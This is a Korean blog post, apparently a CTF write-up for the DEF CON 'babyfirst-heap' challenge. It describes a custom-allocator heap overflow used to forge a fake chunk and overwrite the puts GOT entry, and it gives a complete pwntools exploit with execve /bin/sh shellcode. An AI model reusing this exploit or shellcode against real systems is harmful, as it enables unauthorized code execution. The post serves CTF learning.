NX와 aslr만 되어있다.

문제 이름만 놓고 본다면 쉬울것 같으나 데프콘 문제여서 쫄은 상태로 풀기 시작했다.


힙문제는 아직 너무 어려워서 쉬운 문제를 찾다가 풀게 되었는데.. 푸는데 꽤 오래 걸렸다.

근데 풀고 나니 많이 쉬웠던 문제인것 같다.


ida와 gdb로 보면 커스텀 malloc과 free를 사용한다는 것을 알 수 있다.


이 문제는 우선 힙주소를 전부 출력을 해주기 때문에 따로 릭을 할 필요는 없었다.

그리고 사용자에게 입력받는 수는 4096바이트로 꽤나 많은 양의 바이트를 입력받는다.


먼저 내가 입력한 값이 어디에 들어가는지 확인을 해보았다.

memcpy에 bp를 걸고 확인을 해보았더니 size=260인 청크에 들어가게 된다.


다시말해 이 부분을 통해 오버플로우로 다음 청크를 덮어서 fake chunk를 만들면 got overwrite로 문제를 풀 수 있다.


exploit code

from pwn import *

r = process("./babyfirst-heap")
elf = ELF("./babyfirst-heap")

r.recvuntil("[size=755]")
r.recvuntil("loc=")

chunk = "0x"+ r.recv(7)
chunk = int(chunk,16)

log.info("chunk addr = {}".format(hex(chunk)))

puts_got = elf.got['puts']
jmp_code = "\xeb\x0c"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

payload = p32(puts_got-8)
payload += p32(chunk+0x24)
payload += "\x90"*30
payload += jmp_code
payload += "\x90"*191
payload += shellcode
payload += p32(0)
payload += p32(0x378)
payload += p32(0)*65
payload += p32(0x1000)

r.sendline(payload)
r.interactive()


'CTF' 카테고리의 다른 글

SEC-T CTF PingPong  (0) 2018.09.16
BCTF 2016 bcloud  (0) 2018.08.24
Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07

+ Recent posts